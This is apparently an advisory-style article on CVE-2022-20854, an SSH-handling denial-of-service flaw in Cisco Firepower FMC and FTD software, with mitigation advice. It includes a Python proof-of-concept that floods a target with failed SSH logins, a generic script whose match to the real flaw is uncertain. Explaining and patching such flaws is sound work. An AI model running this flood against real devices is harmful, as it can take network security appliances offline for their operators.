CVE-2022-20854 - Security Vulnerability in Cisco Firepower Management Center (FMC) and Cisco Firepower Threat Defense (FTD) Software Leading to Potential DoS Attacks

A critical vulnerability (CVE-2022-20854) has recently been identified in the processing of SSH connections of Cisco Firepower Management Center (FMC) and Cisco Firepower Threat Defense (FTD) Software. This vulnerability could potentially allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The security issue is due to improper error handling when an SSH session fails to be established. In this article, we'll discuss the vulnerability in detail, provide code snippets to demonstrate the issue, link to original references, and explore the exploit details.

Vulnerability Details

This vulnerability is caused by improper error handling when an SSH session fails to be established. An attacker could exploit this vulnerability by sending a high rate of crafted SSH connections to the instance. A successful exploit could allow the attacker to cause resource exhaustion, resulting in a reboot on the affected device.

Code Snippet Demonstrating the Issue

# This is a sample code snippet demonstrating the vulnerability
import socket
import paramiko
import time

NUM_CONNECTIONS = 100
TARGET_IP = "192.168.1.1"  # Replace this with the target device IP
TARGET_PORT = 22

for _ in range(NUM_CONNECTIONS):
    try:
        # Create a new socket and attempt to connect to the SSH server
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((TARGET_IP, TARGET_PORT))

        # Initialize SSH connection using the Paramiko library
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(TARGET_IP, port=TARGET_PORT, sock=sock, username="nonexistent", password="invalid")
    except Exception as e:
        print(f"Error encountered: {str(e)}")
        time.sleep(.1)

This code snippet demonstrates how an attacker can send a high rate of crafted SSH connections to the target device, potentially causing resource exhaustion and a subsequent reboot.

Original References

1. Cisco Security Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-ssh-dos-TA4swh6p
2. NVD - National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-20854

Exploit Details

To exploit this vulnerability, an attacker simply needs to launch a high rate of crafted SSH connections to the affected instance, as demonstrated in the code snippet above. A successful exploit could result in resource exhaustion, causing the affected device to reboot. This could potentially allow the attacker to cause a denial of service (DoS) condition on the affected device.

Mitigation and Recommendations

Cisco has already released software updates that address this vulnerability. Users of affected devices are highly encouraged to review the Cisco Security Advisory and apply the appropriate updates as soon as possible. Additionally, users should consider implementing rate limiting on SSH access to their devices, which can help prevent or mitigate the impact of DoS attacks.

In conclusion, CVE-2022-20854 is a serious vulnerability impacting Cisco FMC and FTD Software. It is essential for users of affected devices to take the necessary steps to protect themselves from potential DoS attacks by applying the latest updates from Cisco and following security best practices.

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/17/2022 23:25:00 UTC